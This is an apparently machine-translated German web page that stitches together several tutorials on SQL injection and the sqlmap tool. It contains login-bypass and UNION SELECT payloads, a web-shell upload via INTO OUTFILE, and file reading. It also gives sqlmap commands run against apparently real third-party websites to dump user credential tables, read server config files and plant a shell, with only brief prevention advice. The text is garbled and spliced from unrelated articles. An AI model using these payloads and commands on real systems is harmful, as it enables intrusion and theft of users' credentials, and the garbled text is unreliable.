Abschnitte der Website
Die Wahl des Herausgebers:
- Abmessungen des Kabelkanal-Elektros
- So entsperren Sie das Sony-Passwort, wenn Sie es vergessen haben (Xperia). So umgehen Sie das alte Sony Xperia Z5-Konto
- So ermitteln Sie den verbleibenden Verkehr auf MTS - Alle Methoden
- eBay-Promocodes und -Gutscheine eBay-Rabattgutscheine
- Xiaomi Power Bank-Ladegerät: Bewertungen, Beschreibung und Eigenschaften Wie man eine originale Xiaomi Power Bank von einer Fälschung unterscheidet
- Hash-Funktionen: Konzept und Grundlagen
- Anweisungen zur Verwendung von sqlmap
- MTS 970h lässt sich nicht einschalten, blaues Licht leuchtet
- So schließen Sie Peripheriegeräte an eine Smart-TV-Set-Top-Box an: Tastatur, Maus, Gamepad
- Installieren des Android ADB-Plugins in Total Commander
Werbung
Grundlegende Verwendung von SQLMap. Anweisungen zur Verwendung von sqlmap |
SQL-Injection ist ein Angriff, der dynamische SQL-Anweisungen ausnutzt, indem er bestimmte Teile von Anweisungen auskommentiert oder eine Bedingung hinzufügt, die immer wahr ist. Es zielt auf Lücken in der Webanwendungsarchitektur und nutzt SQL-Anweisungen, um bösartigen SQL-Code auszuführen: In diesem Artikel befassen wir uns mit den bei SQL-Injections verwendeten Techniken und wie man Webanwendungen vor solchen Angriffen schützt. So funktioniert SQL-InjectionDie Arten von Angriffen, die mithilfe von SQL-Injection ausgeführt werden können, variieren je nach Art der betroffenen Datenbank-Engines. Der Angriff zielt auf dynamische SQL-Anweisungen. Eine dynamische Anweisung ist eine Anweisung, die zur Laufzeit basierend auf Parametern aus einem Webformular oder einer URI-Abfragezeichenfolge erstellt wird. Stellen Sie sich eine einfache Webanwendung mit einem Anmeldeformular vor. Der HTML-Formularcode ist unten:
Nehmen wir an, dass die Anfrage zur Überprüfung der Benutzer-ID auf der Serverseite wie folgt aussieht:
Wir werden uns einen Angriff mit SQL-Injection sqlfiddle ansehen. Öffnen Sie die URL http://sqlfiddle.com/ in Ihrem Browser. Das folgende Fenster erscheint auf dem Bildschirm. Hinweis: Sie müssen SQL-Anweisungen schreiben: Schritt 1: Geben Sie diesen Code im linken Bereich ein: CREATE TABLE `users` (`id` INT NOT NULL AUTO_INCREMENT, `email` VARCHAR(45) NULL, `password` VARCHAR(45) NULL, PRIMARY KEY (`id`)); In Benutzerwerte (E-Mail, Passwort) einfügen („ [email protected]",md5("abc")); Schritt 2: Klicken Sie auf die Schaltfläche Schema erstellen». Wählen Sie * aus den Benutzern aus; Schritt 4: Klicken Sie auf „ Führen Sie SQL aus" Sie werden das folgende Ergebnis sehen: Nehmen wir an, der Benutzer gibt eine E-Mail-Adresse an [email protected] und 1234 als Passwort. Die Abfrage, die in der Datenbank ausgeführt werden muss, könnte wie folgt aussehen: Der obige Beispiel-SQL-Injection-Code kann umgangen werden, indem ein Teil des Passworts auskommentiert und eine Bedingung hinzugefügt wird, die immer wahr ist. Nehmen wir an, dass ein Angreifer folgende Daten in das E-Mail-Adressfeld einfügt: [email protected]„OR 1 = 1 LIMIT 1 –“ ] und xxx im Passwortfeld. Die generierte dynamische Anweisung sieht folgendermaßen aus:
0; „ AND ... ist ein SQL-Kommentar, der den Passwortteil ausschließt. Kopieren Sie die obige Abfrage und fügen Sie sie wie unten gezeigt in das FiddleRun SQL-Textfeld ein: Hackeraktivität: SQL-Injektionen in WebanwendungenZu Demonstrationszwecken steht unter http://www.techpanda.org/ eine einfache Webanwendung zur Verfügung, die speziell für Einsteiger anfällig für SQL-Injection-Angriffe gemacht ist. Der oben angegebene HTML-Formularcode stammt von der Autorisierungsseite dieser Anwendung. Es bietet grundlegende Sicherheit wie die Bereinigung von E-Mail-Feldern. Dies bedeutet, dass der obige Code nicht zur Umgehung dieses Mechanismus verwendet werden kann. Um dies zu umgehen, können Sie das Passwortfeld verwenden. Das folgende Diagramm zeigt die Schritte, die Sie befolgen müssen: Nehmen wir an, dass der Angreifer folgende Daten bereitstellt: Schritt 1: Betreten [email protected] als E-Mail-Adresse; Klicken Sie auf die Schaltfläche „Senden“. Es wird an das Administrationspanel gesendet. Die generierte Abfrage sieht folgendermaßen aus: Das folgende Diagramm zeigt, wie die Anfrage generiert wurde: Hier:
Typischerweise versuchen Angreifer, bei einem SQL-Injection-Angriff mehrere unterschiedliche Methoden zu nutzen, um ihr Ziel zu erreichen. Andere Arten von SQL-Injection-AngriffenSQL-Injections können viel größeren Schaden anrichten als die Anmeldung bei einem System unter Umgehung des Autorisierungsmechanismus. Einige dieser Angriffe können sein:
Die obige Liste ist nicht vollständig. Es vermittelt lediglich einen Eindruck von den Gefahren, die SQL-Injections mit sich bringen. Tools zur Automatisierung von SQL-InjectionsIm obigen Beispiel haben wir manuelle Angriffsmethoden verwendet. Bevor Sie eine SQL-Injection durchführen, müssen Sie verstehen, dass es automatisierte Tools gibt, mit denen Sie Angriffe effizienter und schneller durchführen können:
So verhindern Sie SQL-InjectionsHier sind ein paar einfache Regeln zum Schutz vor SQL-Injection-Angriffen: Benutzereingaben sollten nicht vertrauenswürdig sein. Sie müssen immer bereinigt werden, bevor die Daten in dynamischen SQL-Operationen verwendet werden. Gespeicherte Prozeduren- Sie können SQL-Abfragen kapseln und alle Eingabedaten als Parameter verarbeiten. Vorbereitete Abfragen- Zuerst werden Abfragen erstellt und dann werden alle bereitgestellten Benutzerdaten als Parameter verarbeitet. Dies hat keine Auswirkungen auf die SQL-Anweisungssyntax. Reguläre Ausdrücke- kann verwendet werden, um potenziell schädlichen Code zu erkennen und ihn vor der Ausführung von SQL-Anweisungen zu entfernen. Zugriffsrechte zum Herstellen einer Verbindung zur Datenbank- Zu Schutz vor SQL-Injections, sollten Konten, die zur Verbindung mit der Datenbank verwendet werden, nur die erforderlichen Zugriffsrechte erhalten. Dies trägt dazu bei, die Aktionen zu begrenzen, die SQL-Anweisungen auf dem Server ausführen können. Fehlermeldungen- darf keine vertraulichen Informationen preisgeben. Einfache benutzerdefinierte Fehlermeldungen wie „ Es tut uns leid, es ist ein technischer Fehler aufgetreten. Das Support-Team wurde bereits darüber informiert. Bitte versuchen Sie es später noch einmal" kann verwendet werden, anstatt die SQL-Abfragen anzuzeigen, die den Fehler verursacht haben. Grüße, Leser. In letzter Zeit interessiere ich mich für Web-Sicherheit, und meine Arbeit steht in gewissem Maße damit in Zusammenhang. Weil Immer häufiger fielen mir Themen in verschiedenen Foren auf, die darum baten, zu zeigen, wie das alles funktioniert, also beschloss ich, einen Artikel zu schreiben. Der Artikel richtet sich an diejenigen, die damit noch nicht vertraut sind, es aber gerne lernen möchten. Es gibt relativ viele Artikel zu diesem Thema im Internet, für Anfänger sind sie jedoch etwas kompliziert. Ich werde versuchen, alles in klarer Sprache und detaillierten Beispielen zu beschreiben. VorwortUm diesen Artikel zu verstehen, braucht man nicht wirklich Kenntnisse der SQL-Sprache, aber zumindest viel Geduld und ein wenig Gehirn zum Auswendiglernen.Ich glaube, dass das bloße Lesen des Artikels nicht ausreichen wird, denn... Wir brauchen lebendige Beispiele – wie Sie wissen, ist Übung im Auswendiglernen nie überflüssig. Deshalb werden wir anfällige Skripte schreiben und diese trainieren. Was ist SQL-Injection?Vereinfacht ausgedrückt handelt es sich dabei um einen Angriff auf die Datenbank, der es Ihnen ermöglicht, eine Aktion auszuführen, die vom Ersteller des Skripts nicht geplant war. Beispiel aus dem Leben:Vater schrieb seiner Mutter in einer Notiz, sie solle Vasya 100 Rubel geben und sie auf den Tisch legen. Wenn wir dies in eine komische SQL-Sprache umwandeln, erhalten wir: Da der Vater die Notiz schlecht geschrieben hatte (ungeschickte Handschrift) und sie auf dem Tisch liegen ließ, sah Wasjas Bruder Petja sie. Petya, ein Hacker, fügte dort „OR Pete“ hinzu und das Ergebnis war die folgende Anfrage: Nachdem Mama die Notiz gelesen hatte, beschloss sie, Vasya gestern Geld zu geben und Petya 100 Rubel. Hier ist ein einfaches Beispiel für SQL-Injection aus dem Leben:) Ohne die Daten zu filtern (Mama konnte die Handschrift kaum verstehen) machte Petya einen Gewinn. VorbereitungZum Üben benötigen Sie ein Archiv mit den Quellskripten für diesen Artikel. Laden Sie es herunter und entpacken Sie es auf dem Server. Importieren Sie auch die Datenbank und legen Sie die Daten in der Datei fest cfg.phpSuchen Sie nach SQL-InjectionWie Sie bereits verstanden haben, erfolgt die Injektion aus eingehenden Daten, die nicht gefiltert sind. Der häufigste Fehler besteht darin, die übermittelte ID nicht zu filtern. Nun, grob gesagt, setzen Sie in allen Feldern Anführungszeichen. Sei es eine GET/POST-Anfrage oder sogar ein Cookie! Numerischer EingabeparameterZum Üben benötigen wir ein Skript index1.php. Wie ich oben sagte, fügen wir Anführungszeichen in die Nachrichten-ID ein.Weil Unsere Anfrage hat keine Filterung: $id = $_GET["id"]; $query = "SELECT * FROM news WHERE id=$id"; Das Skript wird dies als verstehen SELECT * FROM news WHERE id=1" Und es wird uns eine Fehlermeldung geben: Tritt der Fehler nicht auf, kann das folgende Gründe haben: 1. SQL-Injection gibt es nicht – Anführungszeichen werden gefiltert, oder es lohnt sich einfach, darauf umzusteigen (int) Wenn Sie immer noch eine Fehlermeldung erhalten – Hurra! Wir haben die erste Art der SQL-Injection gefunden – numerische Eingabeparameter. String-EingabeparameterWir senden Anfragen an index2.php. In dieser Datei sieht die Anfrage so aus: Hier wählen wir Nachrichten nach Benutzernamen aus und filtern auch hier nicht. Es gab einen Fehler. OK! Dies bedeutet, dass eine Sicherheitslücke besteht. Für den Anfang reicht uns das – jetzt geht es ans Üben. Lassen Sie uns handelnEine kleine TheorieSie können es wahrscheinlich kaum erwarten, etwas anderes als Fehler daraus zu ziehen. Verstehen Sie zunächst, dass das Zeichen „ -- " wird in SQL als Kommentar betrachtet. AUFMERKSAMKEIT! Davor und danach müssen Leerzeichen stehen. In der URL werden sie als übermittelt %20 Alles, was nach dem Kommentar kommt, wird verworfen. Das heißt, die Anfrage: Es wird gelingen. Sie können dies mit dem Skript index2.php versuchen, indem Sie eine Anfrage wie diese senden: Sqlinj/index2.php?user=AlexanderPHP"%20--%20habrahabr Lernen Sie den Parameter UNION. In der SQL-Sprache das Schlüsselwort UNION Wird verwendet, um die Ergebnisse zweier SQL-Abfragen in einer einzigen Tabelle zu kombinieren. Das heißt, um etwas herauszuholen, das wir von einem anderen Tisch benötigen. Nutzen wir es ausWenn der Parameter „Numerisch“ ist, müssen wir in der Anfrage kein Angebot senden und am Ende natürlich einen Kommentar einfügen. Kehren wir zum Drehbuch zurück index1.php. Wenden wir uns dem Skript sqlinj/index1.php?id=1 UNION SELECT 1 zu. Unsere Datenbankabfrage sieht so aus: Weil Wir können ihre Nummer in der ersten Anfrage nicht beeinflussen, dann müssen wir ihre Nummer in der zweiten so auswählen, dass sie mit der ersten übereinstimmt. Auswahl der Anzahl der FelderDie Auswahl der Felder ist sehr einfach. Senden Sie einfach die folgenden Anfragen: GRUPPIERE NACHEs kommt oft vor, dass es 20 oder 40 oder sogar 60 Felder sein können. Damit wir sie nicht jedes Mal durchsortieren müssen, verwenden wir GRUPPIERE NACHWenn die Anfrage Sqlinj/index1.php?id=1 GROUP BY 8 Wenn bei GROUP BY 4 kein Fehler vorliegt und bei GROUP BY 6 ein Fehler vorliegt, beträgt die Anzahl der Felder 5 Ausgabespalten definierenDamit uns ab der ersten Anfrage nichts angezeigt wird, reicht es aus, eine nicht vorhandene ID zu ersetzen, zum Beispiel:Sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5 Mit dieser Aktion legen wir fest, welche Spalten auf der Seite angezeigt werden. Um diese Nummern nun durch die erforderlichen Informationen zu ersetzen, müssen Sie die Anfrage fortsetzen. DatenausgabeNehmen wir an, wir wissen, dass die Tabelle noch existiert Benutzer in dem die Felder vorhanden sind Ausweis, Name Und passieren. Erstellen wir daher die folgende Abfrage: Sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5 FROM Benutzer WHERE id=1 Dazu ersetzen wir die Zahlen 1 und 3 durch die Namen der Felder Sqlinj/index1.php?id=-1 UNION SELECT Name,2,Pass,4,5 FROM Benutzer WHERE id=1 Für „String-Eingabeparameter“ wie im Skript index2.php Sie müssen am Anfang ein Anführungszeichen und am Ende ein Kommentarzeichen hinzufügen. Beispiel: Dateien lesen/schreibenUm Dateien lesen und schreiben zu können, muss der Datenbankbenutzer über FILE_PRIV-Rechte verfügen.AufnahmedateienTatsächlich ist alles sehr einfach. Um eine Datei zu schreiben, verwenden wir die Funktion OUTFILE.sqlinj/index2.php?user=-1" UNION SELECT 1,2,3,4,5 INTO OUTFILE "1.php" --%20 Super, die Datei wurde bei uns registriert. So können wir die Mini-Shell füllen: sqlinj/index2.php?user=-1" UNION SELECT 1,"",3,4,5 INTO OUTFILE "1.php" --%20 Dateien lesenDas Lesen von Dateien ist noch einfacher als das Schreiben. Es reicht aus, die Funktion einfach zu nutzen LADE DATEI, für den Ort des Feldes, das wir auswählen:Sqlinj/index2.php?user=-1" UNION SELECT 1,LOAD_FILE("1.php"),3,4,5 --%20 Somit haben wir die zuvor geschriebene Datei gelesen. SchutzmethodenSich selbst zu schützen ist noch einfacher, als eine Schwachstelle auszunutzen. Filtern Sie einfach die Daten. Wenn Sie Zahlen übergeben, verwenden Sie Anstatt abzuschließenHier möchte ich meinen ersten Teil zum Thema „SQL-Injection für Einsteiger“ beenden. Im zweiten werden wir uns schwerwiegendere Beispiele von Injektionen ansehen. Versuchen Sie, anfällige Skripte zu schreiben und selbst Abfragen auszuführen.Und denken Sie daran: Vertrauen Sie keinem Benutzer Ihrer Website. Nun, zum Thema: Spoiler: Füllen Sie die Hülle Wir haben auf der Website eine SQL-Injection, die so aussieht: Sie müssen registriert sein, um Links sehen zu können. Als erstes wollen wir prüfen, ob wir Berechtigungen zum Schreiben von Dateien auf der angegriffenen Ressource haben; dazu laden wir das Terminal und geben den folgenden Befehl ein: Sqlmap –u http://www.sacoor.com/site_terms.php?lang=en --banner --current-db --current-user --is-dba Klicken Eingeben und die Analyse unserer SQL-Injection beginnt, der Bericht sieht so aus: Wie Sie im Bericht sehen können, werden die Version von Apache, die Version von MySQL und die Version des auf dem Server installierten Betriebssystems geschrieben. All dies wird uns in Zukunft nützlich sein, aber am wichtigsten ist, dass Sie das sehen können Wir haben Rechte zum Schreiben von Dateien. Dies wird in der Zeile „Aktueller Benutzer ist DBA: True“ angezeigt Der nächste Schritt für uns besteht darin, die Pfade zum Aufzeichnen unserer Shell zu ermitteln. Durch den Download der Datei können wir den Pfad zu unserer Seite auf dem Server ermitteln httpd.conf. Informationen zum Speicherort der Datei httpd.conf erhalten wir über Google; Sie können nach der Version des installierten Betriebssystems oder nach der Liste der wahrscheinlichsten Pfade suchen. Im Allgemeinen werde ich nicht tief in das Surfen in Suchmaschinen eintauchen. Sobald Sie den wahrscheinlichsten Speicherort des Pfads zur Datei herausgefunden haben, ist es an der Zeit, dieselbe Datei auf Ihre Festplatte herunterzuladen. Geben Sie dazu Folgendes ein Befehl und Anforderung zum Lesen der Datei auf dem Server: Sqlmap –u http://www.sacoor.com/site_terms.php?lang=en --file-read=/etc/httpd/conf/httpd.conf Wir möchten sofort darauf hinweisen, dass es nicht immer möglich ist, diese Konfigurationsdatei beim ersten Mal zu finden. Sie können daher die wahrscheinlichsten Pfade verwenden, in denen sich diese Datei befindet: LISTE MÖGLICHER PFADE ZUR KONFIGURATIONSDATEI: ../../../../../../../../../usr/local/apache/conf/httpd.conf ../../../../ ../../../../../usr/local/apache2/conf/httpd.conf ../../../../../../../../ usr/local/apache/httpd.conf ../../../../../../../../usr/local/apache2/httpd.conf ../../.. /../../../../../usr/local/httpd/conf/httpd.conf ../../../../../../../usr/ local/etc/Apache/conf/httpd.conf ../../../../../../../usr/local/etc/apache2/conf/httpd.conf ../.. /../../../../../usr/local/etc/httpd/conf/httpd.conf ../../../../../../../ usr/apache2/conf/httpd.conf ../../../../../../../usr/apache/conf/httpd.conf ../../../.. /../../../usr/local/apps/apache2/conf/httpd.conf ../../../../../../../usr/local/apps/ apache/conf/httpd.conf ../../../../../../etc/apache/conf/httpd.conf ../../../../../. ./etc/apache2/conf/httpd.conf ../../../../../../etc/httpd/conf/httpd.conf ../../../../ ../../etc/http/conf/httpd.conf ../../../../../../etc/apache2/httpd.conf ../../../. ./../../etc/httpd/httpd.conf ../../../../../../etc/http/httpd.conf ../../../. ./../../etc/httpd.conf ../../../../../opt/apache/conf/httpd.conf ../../../../. ./opt/apache2/conf/httpd.conf ../../../../var/www/conf/httpd.conf ../conf/httpd.conf Wir erhalten einen Bericht von sqlmap in folgender Form:
Wie Sie sehen, hat uns sqlmap mitgeteilt, dass die Datei dieselbe Größe hat wie die Datei auf dem Server, daher haben wir das Recht, diese Datei zu lesen. Wenn nicht genügend Rechte vorhanden wären, um diese Datei zu lesen, würde eine Fehlermeldung angezeigt werden, dass die auf unserem Computer gespeicherte Datei eine andere Größe als die Datei auf dem Server hat oder dass sich keine Datei auf dem Server unter dem von uns angegebenen Pfad befindet und dies auch nie der Fall war gewesen. Sqlmap hat unsere Datei in den Berichtsdateien gespeichert und um sie zu lesen, müssen wir den Fenstermanager starten. Um den Fenstermanager zu starten, öffnen wir ein weiteres Terminalfenster und geben den Befehl ein: Als nächstes folgen wir im sich öffnenden Manager dem Pfad, in dem sqlmap die Datei hinzugefügt hat, d. h.:
Aus unserer Konfigurationsdatei sehen wir, dass sich unsere Site auf dem Server unter folgendem Pfad befindet: Nachdem wir nun ein paar Informationen haben, können wir versuchen, die Shell zu füllen. Dazu geben wir den folgenden Befehl ein: Nach Eingabe des Befehls fragt sqlmap, welche Art von Füllmaterial wir verwenden möchten, weil ... In unserem Fall ist die Seite in PHP, dann laden wir sie hoch PHP-Loader, wählen Punkt 4 und drücken Sie die Eingabetaste. Als nächstes werden wir von sqlmap aufgefordert, auszuwählen, wo wir unseren Loader hochladen möchten, und da ... Wir kennen bereits den Pfad zu unserer Site auf dem Server und wählen ihn dann aus Punkt 2, Drücken Sie Eingeben und geben Sie den Pfad zur Site an: Und danach drücken wir Eingeben und wir sehen den folgenden Bericht:
In diesem Fall teilt uns sqlmap mit, dass wir keine Schreibrechte für diesen Ordner haben. Kein Problem, dieses Problem ist ganz einfach zu lösen. Wir geben den Befehl, Uniscan zu starten und Dateien und Ordner auf Beschreibbarkeit zu überprüfen. Hier ist der Befehl: Uniscan -u http://www.sacoor.com/ -qwe Nun prüft der Scanner alle beschreibbaren Verzeichnisse:
Der Scanner hat drei Verzeichnisse mit der Möglichkeit zum Schreiben von Dateien gefunden, daher versuchen wir erneut, unseren Shell-Loader zu laden, dieses Mal jedoch auf andere Weise. Führen Sie den Befehl erneut aus: Sqlmap –u http://www.sacoor.com/site_terms.php?lang=en --os-cmd –v l und durch Auswahl Punkt 4(Ausfüllen des PHP-Skripts), geben Sie den Pfad an: Wir sehen Folgendes. Was ist sqlmap und wozu dient es?
Mit dem Programm können Sie Websites auf SQL-Injection-Schwachstellen und XSS-Schwachstellen überprüfen und auch SQL-Injection ausnutzen. Es werden verschiedene Arten von SQL-Injections und eine Vielzahl von Datenbanken unterstützt. Was können Sie mit sqlmap machen?
Mit sqlmap können Sie:
Wenn die Site anfällig für SQL-Injection ist, ist Folgendes möglich:
Eines der Szenarien für die Verwendung von sqlmap:
Liegt eine Schwachstelle vor, kann sich der Angriff in verschiedene Richtungen entwickeln:
Wie wir sehen, ist SQL-Injection eine sehr gefährliche Schwachstelle, die einem Angreifer große Chancen bietet. Überprüfung von Websites mit SQLMAP
Wenn die Site Daten vom Benutzer mithilfe der GET-Methode empfängt (wenn sowohl der Name der Variablen als auch die übertragenen Daten in der Adressleiste des Browsers sichtbar sind), müssen Sie die Adresse der Seite auswählen, auf der sich diese Variable befindet gegenwärtig. Es kommt nach dem Fragezeichen ( ? ), Zum Beispiel:
In der ersten Adresse lautet der Variablenname Ausweis, und der übergebene Wert ist 8 . In der zweiten Adresse steht auch der Variablenname Ausweis, und der übertragene Wert 22 . Im dritten Beispiel ist der Variablenname derselbe, aber der übergebene Wert ist derselbe S. 36. Der gleiche Variablenname ist eine zufällige Übereinstimmung für verschiedene Websites, er kann alles sein, die übertragenen Daten können alles sein, es können mehrere Variablen vorhanden sein, deren Werte durch ein Symbol getrennt sind & . Wenn wir prüfen möchten, ob die ID-Variable anfällig für SQL-Injection ist, müssen wir die gesamte Adresse eingeben – http://www.dwib.org/faq2.php?id=8 (nicht http://www.dwib .org /faq2.php oder http://www.dwib.org). Der Befehl zum Überprüfen einer von der GET-Methode übergebenen Variablen ist sehr einfach: Sqlmap -u Site-Adresse Für diese Websites lauten die Befehle: Sqlmap -u http://www.dwib.org/faq2.php?id=8 sqlmap -u http://www.wellerpools.com/news-read.php?id=22 sqlmap -u http://newsandviews24 .com/read.php?id=p_36 Während des Überprüfungsprozesses stellt sqlmap möglicherweise verschiedene Fragen, die Sie beantworten müssen j(d. h. Ja) oder N(d. h. Nein). Die Buchstaben y und n können groß oder klein sein. Der Großbuchstabe bedeutet die Standardauswahl. Wenn Sie damit einverstanden sind, drücken Sie einfach die Eingabetaste. Beispiele für Situationen und Fragen: Heuristiken haben festgestellt, dass das Ziel durch eine Art WAF/IPS/IDS geschützt ist. Soll SQLMap versuchen, Backend-WAF/IPS/IDS zu erkennen? Heuristiken haben ergeben, dass das Ziel durch eine Art WAF/IPS/IDS geschützt ist. Möchten Sie, dass sqlmap versucht, den Namen des WAF/IPS/IDS zu ermitteln? Meine Lieblingsanfrage: Heuristischer (Basis-)Test zeigt, dass der GET-Parameter „id“ möglicherweise injizierbar ist (mögliches DBMS: „MySQL“). Beim Testen auf SQL-Injection für den GET-Parameter „id“ sieht es so aus, als ob das Back-End-DBMS „MySQL“ ist. Möchten Sie Testnutzlasten speziell für andere DBMS überspringen? Der Punkt ist, dass die Heuristik festgestellt hat, dass der Parameter möglicherweise anfällig ist und das Remote-DBMS bereits identifiziert wurde. Wir werden gefragt, ob wir die Prüfung fortsetzen möchten. Und im zweiten Screenshot ist die Site auch anfällig für XSS. Wenn Sie den Vorgang automatisieren möchten, sodass sqlmap Sie nicht jedes Mal fragt, sondern die Standardauswahl verwendet (es gibt immer bessere Optionen), können Sie den Befehl mit der Option ausführen --Charge: Sqlmap -u http://www.dwib.org/faq2.php?id=8 --batch Mögliche Probleme beim Scannen von sqlmap
Folgende Fehler können auftreten: Zeitüberschreitung bei der Verbindung zur Ziel-URL. sqlmap wird die Anfrage(n) erneut versuchen. Wenn das Problem weiterhin besteht, überprüfen Sie bitte, ob die angegebene Ziel-URL gültig ist. Falls dies der Fall ist, können Sie versuchen, die Ausführung mit aktiviertem Schalter „--random-agent“ und/oder Proxy-Schaltern („--ignore-proxy“, „--proxy“, …) erneut auszuführen. Das bedeutet, dass die Website nicht mit sqlmap „sprechen“ möchte. Als Option wird uns die Nutzung angeboten --random-agent. Wenn Sie die Site im Browser ansehen können, sqlmap jedoch über die Unmöglichkeit der Verbindung schreibt, ignoriert die Site Anfragen und konzentriert sich auf den Benutzeragenten. Die Option --random-agent ändert den Standard-SQLMap-Wert in „Random“: Sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent Ein weiterer Grund für diesen Fehler könnte sein, dass Ihre IP von einer Website blockiert wird – dann müssen Sie einen Proxy verwenden. Wenn Sie bereits einen Proxy verwenden und dieser Fehler auftritt, kann das bedeuten, dass der Proxy Kommunikationsprobleme hat und Sie es ohne ihn versuchen sollten. Ergebnisse des SQLMap-Scans
Die erkannten SQL-Injections werden wie folgt angezeigt: Diese. werden in fetter grüner Farbe hervorgehoben, der Name des anfälligen Parameters wird geschrieben, die Art der SQL-Sicherheitsanfälligkeit und da ist das Wort injizierbar. Abrufen einer Liste von Datenbanken mit sqlmap
Um eine Liste der Datenbanken zu erhalten, verwenden Sie die Option --dbs. Beispiele: Sqlmap -u http://www.dwib.org/faq2.php?id=8 --dbs sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent --dbs sqlmap -u http://newsandviews24.com/read.php?id=p_36 --dbs Abrufen von Informationen aus Datenbanken
Beispielsweise wurden zwei Datenbanken für die Website wellerpools.com gefunden: [*] information_schema [*] main_wellerpools Ich möchte die Liste der Tabellen in der Datenbank main_wellerpools wissen. Nutzen Sie dazu die Option --tables. Darüber hinaus müssen wir nach der Option die Tabelle angeben, die uns interessiert -D: Sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent -D main_wellerpools --tables Liste der Tabellen: Aus irgendeinem Grund möchte ich die Liste der Spalten aus der Benutzertabelle wissen. Nutzen Sie dazu die Option --Säulen. Darüber hinaus müssen wir die Datenbank angeben, an der wir interessiert sind ( -D main_wellerpools) und nach dem Schlüssel -T die Tabelle, für die wir eine Liste der Spalten sehen möchten: Sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent -D main_wellerpools -T Benutzer --columns Um den Inhalt anzuzeigen, nutzen Sie die Option --entsorgen. Es kann zusammen mit der Datenbank angegeben werden und dann wird ein Dump der gesamten Datenbank erstellt, oder Sie können die Daten auf eine Tabelle oder sogar eine Spalte beschränken. Mit dem folgenden Befehl möchte ich den Inhalt der gesamten Benutzertabelle sehen: Sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent -D main_wellerpools -T Benutzer --dump Schauen Sie sich die Passwörter an – bei einem kurzen Blick dachte ich, es handele sich um Hashes. Die Admins haben wirklich versucht, sich zu verteidigen, aber es hat ihnen nicht geholfen. Da der Parameter, der die von der GET-Methode gesendeten Daten akzeptiert, übrigens angreifbar ist, können Sie direkt in der Browserzeile eine Anfrage stellen, sodass der Benutzername und das Passwort direkt auf der Site selbst angezeigt werden:
Diese. Wir verfügen über den Benutzernamen, das Passwort und die E-Mail-Adresse der Benutzer (und höchstwahrscheinlich sogar der Administratoren) der Website. Wenn Sie das Verwaltungsfenster der Site finden, können Sie die Kontrolle über die Site oder den Webserver erlangen. Da Benutzer dieselben Passwörter lieben und ihre Postfächer kennen, können Sie versuchen, ihre E-Mails zu hacken. Im Allgemeinen ist SQL-Injection eine sehr gefährliche Sicherheitslücke. SQL-Injection ist eine Angriffsart, bei der ein Angreifer die SQL-Abfragelogik einer Webanwendung modifiziert, wodurch er Werte in der Datenbank lesen/ändern/löschen und manchmal beliebigen Code auf der Serverseite ausführen kann. In diesem Artikel wird das beliebte Dienstprogramm sqlmap zum Durchführen von SQL-Injections erläutert. Derzeit ist diese Art von Sicherheitslücke die gefährlichste überhaupt. Seit 7 Jahren wird die Spitzengruppe der „OWASP TOP-10“ von SQL-Injections angeführt. Es gibt 5 Hauptgründe für diese Sicherheitslücke:
SQLMap.Arten von SQL-Injections.Schauen wir uns die Arten von SQL-Injections an, die vom SQLMap-Dienstprogramm ausgenutzt werden:
Grundlegende Verwendung von SQLMap.Starten Sie das Dienstprogramm (muss in der Variable enthalten sein).WEG ): $sqlmap Oder aus dem Dienstprogrammverzeichnis: $ Python sqlmap.py Um die Dokumentation aufzurufen, verwenden Sie die Taste «- H / — helfen »: $ sqlmap --help $ python sqlmap.py –help Die Aktionen der SQLMap-Schlüssel hängen vollständig davon ab, was genau der Angreifer erreichen möchte. Die grundlegende Liste der SQLMap-Aktionen sieht wie folgt aus:
Üben.Für unsere praktische Ausbildung nutzen wir Verdammt Verletzlich Netz Anwendung (DVWA oder „Verdammt anfällige Webanwendung“). DVWA – ist eine kostenlose Webanwendung, die auf Technologien wie PHP und MySQL basiert und zum Trainieren von Pentesting-Fähigkeiten entwickelt wurde. Jetzt sind wir nur an Injektionen interessiert, aber im Allgemeinen können Sie Ihre Fähigkeiten in anderen Schwachstellen testen, die auf der Grundlage des Beamten erstellt wurden OWASP SPITZE -10 . P.S.: Diese Vorgehensweise setzt voraus, dass Sie über Kenntnisse der Grundlagen von Linux, erste Englischkenntnisse und die Fähigkeit verfügen, Google zu verwenden (sofern Sie nicht über die oben genannten Fähigkeiten verfügen). Installation:
Ausgangsdaten:
Also lasst uns anfangen:
Erklärung des Befehls: — url – URL mit dem vermeintlich anfälligen Parameter. Es ist wichtig zu beachten, dass die Variable für diesen Schlüssel in Anführungszeichen geschrieben wird, weil Die überprüfte URL weist mehr als einen übergebenen Parameter auf. Andernfalls können Sie die Anführungszeichen ignorieren und die Kurzversion des Schlüssels verwenden “- u ” ohne Gleichheitszeichen . - Cookie – Sitzungscookie für den direkten Zugriff während eines Angriffs (optionaler Schlüssel). Abschluss: Analyse:
Erklärung des Befehls: —dbs – Schlüssel zum Auflisten verfügbarer Datenbanken. Abschluss: Analyse: SQLMap listete die verfügbaren Datenbanken auf (insgesamt 7).
Erklärung des Befehls: -D – Geben Sie die Datenbank an, an der wir interessiert sind. --tables – Listet die verfügbaren Tabellen in der Datenbank auf. Abschluss: Analyse: Wie wir sehen können, hat SQLMap die Namen von zwei Tabellen in der Datenbank erfolgreich aufgelistet dvwa .
Erklärung des Befehls: -T – Geben Sie die Tabelle an, die uns interessiert. —Spalten – Listen Sie die verfügbaren Spalten in der Tabelle auf. Abschluss: Analyse: Wie wir sehen können, hat SQLMap die Namen von 6 Spalten in der Tabelle erfolgreich aufgelistet Benutzer, bd dvwa .
Erklärung des Befehls: C – Geben Sie die Spalten an, die uns interessieren. --dump – Werte aus den aufgelisteten Spalten ausgeben. Abschluss: Analyse: Basierend auf der Antwort von SQLMap stellen wir die folgenden Punkte fest:
Erklärung des Befehls: –Daten – Geben Sie die Parameter zum Testen an, die in der POST-Anfrage gesendet werden. –os –shell – Spezialschlüssel für den Versuch, die Serverkonsole per SQL-Injection auszunutzen. Abschluss: Analyse: Basierend auf der Antwort von SQLMap stellen wir die folgenden Punkte fest:
Vorteile eines tieferen Systemzugriffs:
Best Practices und erweiterte Nutzung.
|
Lesen: |
---|
Beliebt:
Neu
